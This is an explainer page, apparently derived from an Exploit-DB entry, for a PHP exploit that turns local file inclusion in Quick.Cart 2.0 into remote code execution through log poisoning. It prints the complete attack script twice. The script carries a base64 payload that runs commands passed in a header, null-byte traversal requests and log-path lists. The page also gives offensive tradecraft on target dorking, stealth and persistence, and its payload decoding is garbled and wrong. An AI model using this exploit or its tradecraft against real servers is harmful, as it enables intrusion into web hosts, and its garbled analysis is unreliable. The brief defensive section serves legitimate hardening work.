Quick.Cart 2.0 LFI to RCE Exploit Explained

Quick.Cart 2.0 LFI to RCE Exploit Explained
What this paper is
This paper details a Local File Inclusion (LFI) vulnerability in Quick.Cart version 2.0, specifically within the actions_client/gallery.php script. The exploit leverages this LFI to achieve Remote Code Execution (RCE) by including log files and injecting commands into them. The exploit is presented as a PHP script that attempts to find vulnerable log files and then execute arbitrary commands.
Simple technical breakdown
The core of the vulnerability lies in how Quick.Cart handles language files and configuration.
- Language File Inclusion: The script
index.phpincludes language files usingrequire_once DIR_LANG.LANGUAGE.'.php';. TheLANGUAGEconstant is determined by user input or cookies. - Configuration Handling: The
config/general.phpfile sets theLANGUAGEconstant. If asLangparameter is provided and a corresponding.phpfile exists in the language directory,LANGUAGEis defined using thatsLang. This is where the LFI can be triggered ifsLangis controlled by the attacker. gallery.phpVulnerability: Theactions_client/gallery.phpscript includes core files based on theconfig['db_type']setting. Ifconfig['db_type']can be influenced by user input, it can lead to arbitrary file inclusion.- Exploitation Path: The exploit uses a combination of these. It first attempts to inject a PHP payload into web server log files (like
access_logorerror_log) by manipulating thesLanguagecookie. This payload is designed to echo a specific string ("Hauru") and then execute a command provided by the attacker. After injecting the payload, the exploit tries to include the compromised log file, which, when processed by the server, executes the injected command.
Complete code and payload walkthrough
The provided PHP script is an exploit tool. Let's break down its components.
<?
print '
::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +:+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###
- - [DEVIL TEAM THE BEST POLISH TEAM] - -
[Exploit name: Quick.Cart <= 2.0 Remote Code Execution Exploit
[Script name: Quick.Cart v.2.0
[Script site: http://opensolution.org/?p=Quick.Cart
dork: "powered by Quick.Cart"
Find by: Kacper (a.k.a Rahim)
========> DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <========
========> http://www.rahim.webd.pl/ <========
Contact: kacper1964@yahoo.pl
(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios,
mIvus, nukedclx, SkD, wacky, xoron
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings for 4ll Fusi0n Group members ;-)
and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';- Code Fragment/Block: The initial
printstatement. - Practical Purpose: Displays ASCII art and credits, typical for exploit scripts from that era. It's purely informational and doesn't affect the exploit's functionality.
/*
works with register_globals=On
in file index.php on line 33:
....
require_once DIR_LANG.LANGUAGE.'.php'; // <------------------{1}
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in config/general.php on line 23-32:
....
if( isset( $sLang ) && is_file( $config['dir_lang'].$sLang.'.php' ) ){
setCookie( 'sLanguage', $sLang, time( ) + 86400 ); // <------------------{2}
define( 'LANGUAGE', $sLang ); // <------------------{3}
}
else{
if( isset( $_COOKIE['sLanguage'] ) )
define( 'LANGUAGE', $_COOKIE['sLanguage'] );
else
define( 'LANGUAGE', $config['default_lang'] );
}
....
2# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in actions_client/gallery.php on line 1-7:
....
<?php
require_once DIR_CORE.'files-'.$config['db_type'].'.php';
require_once DIR_CORE.'files.php';
require_once DIR_CORE.'products-'.$config['db_type'].'.php';
require_once DIR_CORE.'products.php';
....
*/- Code Fragment/Block: The multi-line comment block.
- Practical Purpose: Provides crucial context about the vulnerability.
register_globals=On: This is a critical prerequisite. Ifregister_globalsis off (which is the default and recommended setting in modern PHP), this exploit would not work as intended because variables from$_GET,$_POST,$_COOKIE, etc., would not be automatically populated into the script's symbol table.index.phpline 33: Shows howLANGUAGEis used to include a file.config/general.phplines 23-32: Explains howLANGUAGEis set, particularly howsLangfrom a cookie can define it, and how this leads todefine( 'LANGUAGE', $sLang );. This is the entry point for controlling theLANGUAGEconstant via a cookie.actions_client/gallery.phplines 1-7: Highlights the vulnerability ingallery.phpwhereconfig['db_type']is used to construct a filename, making it susceptible to LFI ifconfig['db_type']can be manipulated.
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: Quick.Cart path
cmd: a shell command (ls -la)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /Quick.Cart/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la
-----------------------------------------------------------------------------
');
die;
}- Code Fragment/Block: The argument count check.
- Practical Purpose: Ensures the script is run with the minimum required command-line arguments (host, path, command). If not, it prints usage instructions and exits.
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);- Code Fragment/Block: Error reporting and execution time/timeout settings.
- Practical Purpose:
error_reporting(0): Suppresses all PHP errors, making the script's output cleaner, especially when dealing with network requests that might fail or return unexpected data.ini_set("max_execution_time",0): Sets the maximum execution time to unlimited. This is important for network-bound operations that might take a long time to complete or time out.ini_set("default_socket_timeout",5): Sets a 5-second timeout for socket operations. This prevents the script from hanging indefinitely if a connection cannot be established or data cannot be read.
function sendpacket($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}- Code Fragment/Block:
sendpacketfunction. - Practical Purpose: This function handles sending HTTP requests to the target server.
- It takes a
$packet(the HTTP request string) as input. - It checks if a proxy is configured (
$proxy). - If no proxy, it uses
fsockopento connect directly to the target$hostand$port. - If a proxy is configured, it validates the proxy format using
$proxy_regex, connects to the proxy, and then sends the packet through the proxy. - It reads the response from the server (or proxy) into the global
$htmlvariable. - For direct connections, it reads line by line using
fgets. - For proxy connections, it reads byte by byte until it encounters the double CRLF (
\r\n\r\n) that signifies the end of HTTP headers, indicating the end of the response. - It closes the socket connection.
- It takes a
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}- Code Fragment/Block:
quick_dumpfunction. - Practical Purpose: This is a utility function to format raw binary data (like HTTP responses) into a human-readable hex dump and ASCII representation. It's not directly used in the exploit's core logic but is useful for debugging or analyzing responses.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';- Code Fragment/Block:
$proxy_regexvariable. - Practical Purpose: A regular expression used to validate the format of the proxy IP address and port provided as an argument.
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}- Code Fragment/Block:
make_seedfunction. - Practical Purpose: Generates a seed based on the current microtime. This function is defined but not actually used in the provided script. It might have been intended for random number generation or for creating unique identifiers, but it's vestigial here.
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- Code Fragment/Block: Command-line argument parsing.
- Practical Purpose:
- Parses the command-line arguments:
$argv[1]is the target host,$argv[2]is the path to Quick.Cart. - It iterates through the remaining arguments (
$i=3onwards) to build the command to be executed ($cmd). - It also parses optional arguments:
-pto specify a custom port and-Pto specify a proxy. - It constructs the base path
$pfor requests, either directly to the target or via the proxy.
- Parses the command-line arguments:
echo "insert evil code in logfiles ...\r\n\r\n";
$hauru = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$packet="GET ".$p.$hauru." HTTP/1.0\r\n";
$packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacket($packet);
sleep(3);- Code Fragment/Block: Payload injection into log files (first attempt).
- Practical Purpose:
$hauru = base64_decode(...): This decodes a Base64 string which represents a small PHP payload. Let's decode it:<?php ob_clean(); //Ruchomy zamek Hauru ;-)echo "i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2VjaG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvIjtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYXNzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+The decoded payload is:
<?php ob_clean(); //Ruchomy zamek Hauru ;-)echo "i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2VjaG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvIjtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYXNzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+This seems to be a partial decode or a mistake in the original Base64 string. The intention is to inject a PHP payload. The string "Hauru" is a marker. The payload is designed to:
ob_clean(): Clears any output buffer.- Echo a string (likely intended to be the command output or a success message).
- Echo "Hauru" (this is the key string the exploit looks for to confirm execution).
passthru($_SERVER['HTTP_HAURU']);: This is the critical part. It executes a command passed in theHTTP_HAURUheader.die;: Exits the script.
The script constructs an HTTP GET request.
It sends the decoded payload (
$hauru) directly as part of the URL path. This is an attempt to get the web server to log this request.It sets a
User-Agentheader that includes the payload again, and aHostheader.sendpacket($packet): Sends this request.sleep(3): Pauses for 3 seconds, presumably to allow the server to log the request.Note on Payload: The Base64 string provided in the source is incomplete or malformed. The actual PHP payload that would be injected is likely intended to be something like:
<?php // This is a placeholder for the actual payload. // The exploit attempts to inject code that includes: // ob_clean(); // echo "some output"; // echo "Hauru"; // Marker for success // passthru($_SERVER['HTTP_HAURU']); // Execute command from header // die; ?>The exploit attempts to inject this payload by making a GET request to a path that includes the payload itself. The idea is that the web server's access log will record this request, and the payload will be written into the log file.
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
// ... many more log file paths ...
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
echo "remote code execution...wait..\n";
$packet ="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="Cookie: sLanguage=../".$paths[$i]."%00;\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}- Code Fragment/Block: First RCE attempt using
index.phpandsLanguagecookie. - Practical Purpose: This is the primary RCE mechanism.
- It iterates through a predefined list of common web server log file paths (
$paths). - For each path, it constructs a GET request to
index.php. - Crucially, it sets the
Cookie: sLanguage=../<log_path>%00;header.../<log_path>: This attempts to use the LFI vulnerability inindex.php(as described in the comments:require_once DIR_LANG.LANGUAGE.'.php';) to include the log file. The../is for path traversal.%00: This is a null byte. In older PHP versions (before 5.3.0), null bytes could terminate string operations, effectively stopping the inclusion process after the log file path, preventing PHP from trying to include a.phpextension.
HAURU: $cmd: It sets theHTTP_HAURUheader to the command provided by the user ($cmd). This is what the injected payload (passthru($_SERVER['HTTP_HAURU']);) will execute.sendpacket($packet): Sends the request.if (strstr($html,"Hauru")): After receiving the response, it checks if the string "Hauru" is present in the$htmloutput. If it is, it means the injected payload was executed, and the output of the command (which is echoed by the payload) is captured.$temp=explode("Hauru",$html); die($temp[1]);: It splits the response by "Hauru" and prints the part after it, which should be the command output. The script then exits.
- It iterates through a predefined list of common web server log file paths (
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
echo "remote code execution...wait..\n";
$packet ="GET ".$p."actions_client/gallery.php?config[db_type]=../".$paths[$i]."%00 HTTP/1.1\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}- Code Fragment/Block: Second RCE attempt using
actions_client/gallery.phpandconfig[db_type]. - Practical Purpose: This is a fallback RCE mechanism if the first one fails.
- It iterates through the same list of log file paths.
- For each path, it constructs a GET request to
actions_client/gallery.php. - It manipulates the
config[db_type]parameter:?config[db_type]=../<log_path>%00.- This exploits the LFI vulnerability in
gallery.php(as described in the comments:require_once DIR_CORE.'files-'.$config['db_type'].'.php';). - Similar to the previous attempt,
../<log_path>%00is used to include the log file.
- This exploits the LFI vulnerability in
HAURU: $cmd: Again, the command is passed in theHTTP_HAURUheader.sendpacket($packet): Sends the request.if (strstr($html,"Hauru")): Checks for the "Hauru" marker in the response.- If found, it prints the command output and exits.
echo "Exploit err0r :(\r\n";
echo "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
?>- Code Fragment/Block: Failure message.
- Practical Purpose: If neither of the RCE attempts succeeds, this message is displayed, indicating the exploit failed and providing contact information for the exploit authors.
Mapping list: code fragment/block -> practical purpose
- Initial
printstatement: Display credits and ASCII art. - Comment block: Explains the vulnerability context (
register_globals, LFI points). - Argument count check (
if ($argc<4)): Validates command-line arguments. error_reporting(0); ini_set(...): Configures script execution for robustness and speed.sendpacketfunction: Handles network communication (sending requests, receiving responses).quick_dumpfunction: Utility for hex/ASCII dumping (not directly used in exploit flow).$proxy_regex: Validates proxy format.make_seedfunction: Unused random seed generator.- Argument parsing loop: Sets up
$host,$path,$cmd,$port,$proxy. - Base64 decoded payload (
$hauru): The PHP code to be injected, designed to execute commands viapassthruand signal success with "Hauru". - First
GETrequest (before loop): Attempts to inject the payload into the web server logs by making a request that includes the payload in the path. - First
forloop (usingindex.phpandsLanguagecookie): Tries to achieve RCE by including a log file (via LFI inindex.php) that contains the injected payload, executing the command viaHTTP_HAURUheader. - Second
forloop (usinggallery.phpandconfig[db_type]): Tries to achieve RCE using a different LFI vector ingallery.phpto include a log file containing the injected payload. - Failure message: Informs the user if the exploit did not succeed.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (or the specified port). No authenticated access to the Quick.Cart application is required.
- Lab Preconditions:
- A target environment running Quick.Cart version 2.0 or a similarly vulnerable version.
- The target server must have
register_globals = Onenabled in its PHP configuration. This is a critical prerequisite. - The web server must be configured to log requests to a file that the attacker can predict or discover (e.g., Apache's
access_logorerror_log). - The web server must have write permissions to the log files (this is usually the case for the web server user).
- The web server must be running a PHP version where null byte termination (
%00) is effective for truncating file paths (typically PHP < 5.3.0).
- Tooling Assumptions:
- A system with PHP installed to run the exploit script.
- Network connectivity to the target.
- Knowledge of the target's IP address or hostname and the web path to the Quick.Cart installation.
- Execution Pitfalls:
register_globals = Off: If this is off, the exploit will fail as it relies on global variables being automatically populated.- PHP Version: Newer PHP versions (>= 5.3.0) do not process null bytes (
%00) in file paths, rendering the%00termination ineffective. - Log File Location: The exploit relies on guessing common log file locations. If the logs are stored in an unusual or inaccessible location, the exploit will fail.
- Web Server Configuration: Some web servers might sanitize or disallow certain characters in URLs or headers, potentially interfering with the payload injection or execution.
- Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might block the outgoing requests or detect the suspicious cookie/header usage.
- Payload Delivery: The initial injection of the payload into the log file is a race condition. The web server might rotate logs, or the request might not be logged before the inclusion attempt.
actions_client/gallery.phpPath: The exploit assumes this file exists at the specified path relative to the Quick.Cart root.index.phpVulnerability: The exploit relies onindex.phpbeing vulnerable to LFI via thesLanguagecookie.gallery.phpVulnerability: The exploit relies ongallery.phpbeing vulnerable to LFI via theconfig[db_type]parameter.
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the version of Quick.Cart. Use dorks like
"powered by Quick.Cart"to find potential targets. Verifyregister_globalsstatus if possible (though difficult remotely without prior access). - Log File Discovery: If common log paths fail, attempt to discover other potential log file locations through directory enumeration or by observing server behavior.
- Payload Customization: The Base64 payload is basic. For stealthier operations, consider encoding the command or using more sophisticated payloads.
- Error Handling: The exploit's error handling is minimal. Operators should be prepared to interpret raw network responses.
- Stealth: The exploit uses standard HTTP requests but relies on specific headers (
Cookie,HAURU) and URL parameters. This might be logged by the server. The initial request to inject the payload into logs is also a potential indicator. - Post-Exploitation: Once RCE is achieved, the immediate goal is to establish a more persistent and interactive shell, as the current method is one-shot.
- Reconnaissance: Thoroughly identify the version of Quick.Cart. Use dorks like
Where this was used and when
- Context: This exploit targets Quick.Cart, a PHP-based e-commerce solution.
- Timeframe: Published in November 2006. This indicates the vulnerability existed and was exploited around that period. Exploits from this era often targeted older PHP configurations and less secure web application practices.
- Usage: Such exploits were commonly used by security researchers and malicious actors to gain unauthorized access to web servers hosting vulnerable versions of Quick.Cart. The objective would be to compromise the server for various malicious purposes, such as defacement, data theft, or using the server as a pivot point for further attacks.
Defensive lessons for modern teams
- Disable
register_globals: This is a fundamental security practice. It has been deprecated and removed in later PHP versions for good reason. Ensure it's set toOffinphp.ini. - Secure File Inclusion:
- Input Validation: Never trust user input for file paths or configuration parameters that are used in file inclusion functions (
include,require,include_once,require_once). Sanitize and validate all inputs rigorously. - Whitelisting: Instead of blacklisting potentially dangerous characters (like null bytes), use whitelisting to allow only known safe file names or patterns.
- Avoid Null Bytes: Be aware that null byte injection was a common technique in older PHP versions. Ensure your PHP environment is up-to-date.
- Input Validation: Never trust user input for file paths or configuration parameters that are used in file inclusion functions (
- Patch Management: Keep web applications and their underlying frameworks (like Quick.Cart) updated to the latest stable versions. Vendors release patches to fix known vulnerabilities.
- Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including LFI attempts, suspicious cookie values, and unusual HTTP headers.
- Secure Logging: While log files are essential, ensure they are not directly accessible via web requests. Configure web servers to prevent direct browsing of log directories. Consider log rotation and secure storage.
- Least Privilege: Ensure the web server process runs with the minimum necessary privileges. This limits the damage an attacker can do even if they gain code execution.
- Modern PHP: Avoid using PHP versions that are end-of-life and no longer receive security updates.
ASCII visual (if applicable)
This exploit involves a chain of events. A simplified visual representation of the RCE flow via log file inclusion could be:
+-----------------+ +-----------------------+ +---------------------+
| Attacker System |----->| Target Web Server |----->| Web Server Logs |
| (Exploit Script)| | (Quick.Cart v2.0) | | (e.g., access.log) |
+-----------------+ +-----------------------+ +---------------------+
| ^ |
| 1. Inject Payload | |
| into Log File | |
| (via LFI/Cookie) | |
| | |
| | 2. Server processes Log File |
| | (e.g., when including it) |
| | |
| | 3. Injected PHP executes command |
| | (via HTTP_HAURU header) |
| | |
| | 4. Command output returned |
| | in HTTP response |
+----------------------|------------------------------------+
|
| 5. Attacker captures output
v
+-----------------+
| Attacker System |
+-----------------+Explanation:
- The attacker uses the exploit script to send a request that leverages an LFI vulnerability (e.g., in
index.phpviasLanguagecookie) to include a web server log file. The payload, containingpassthru($_SERVER['HTTP_HAURU']);and a success marker "Hauru", is effectively written into the log file. - The exploit then makes another request, again using LFI (either in
index.phporgallery.php), to include the log file that now contains the injected PHP code. - When the server processes the included log file as PHP, the injected code executes. The
passthrufunction runs the command provided in theHTTP_HAURUheader. - The output of the executed command is captured by the injected PHP payload and sent back in the HTTP response.
- The exploit script parses this response to display the command output.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/2769
- Original Exploit Code: Provided in the prompt.
Original Exploit-DB Content (Verbatim)
<?
print '
::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###
- - [DEVIL TEAM THE BEST POLISH TEAM] - -
[Exploit name: Quick.Cart <= 2.0 Remote Code Execution Exploit
[Script name: Quick.Cart v.2.0
[Script site: http://opensolution.org/?p=Quick.Cart
dork: "powered by Quick.Cart"
Find by: Kacper (a.k.a Rahim)
========> DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <========
========> http://www.rahim.webd.pl/ <========
Contact: kacper1964@yahoo.pl
(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios,
mIvus, nukedclx, SkD, wacky, xoron
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings for 4ll Fusi0n Group members ;-)
and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';
/*
works with register_globals=On
in file index.php on line 33:
....
require_once DIR_LANG.LANGUAGE.'.php'; // <------------------{1}
....
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in config/general.php on line 23-32:
....
if( isset( $sLang ) && is_file( $config['dir_lang'].$sLang.'.php' ) ){
setCookie( 'sLanguage', $sLang, time( ) + 86400 ); // <------------------{2}
define( 'LANGUAGE', $sLang ); // <------------------{3}
}
else{
if( isset( $_COOKIE['sLanguage'] ) )
define( 'LANGUAGE', $_COOKIE['sLanguage'] );
else
define( 'LANGUAGE', $config['default_lang'] );
}
....
2# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
in actions_client/gallery.php on line 1-7:
....
<?php
require_once DIR_CORE.'files-'.$config['db_type'].'.php';
require_once DIR_CORE.'files.php';
require_once DIR_CORE.'products-'.$config['db_type'].'.php';
require_once DIR_CORE.'products.php';
....
*/
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: Quick.Cart path
cmd: a shell command (ls -la)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /Quick.Cart/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / ls -la
-----------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function sendpacket($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "insert evil code in logfiles ...\r\n\r\n";
$hauru = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuL".
"i5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS".
"4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyB".
"UbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2Vj".
"aG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvI".
"jtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYX".
"NzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$packet="GET ".$p.$hauru." HTTP/1.0\r\n";
$packet.="User-Agent: ".$hauru." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacket($packet);
sleep(3);
$paths= array (
"../../../../../var/log/httpd/access_log",
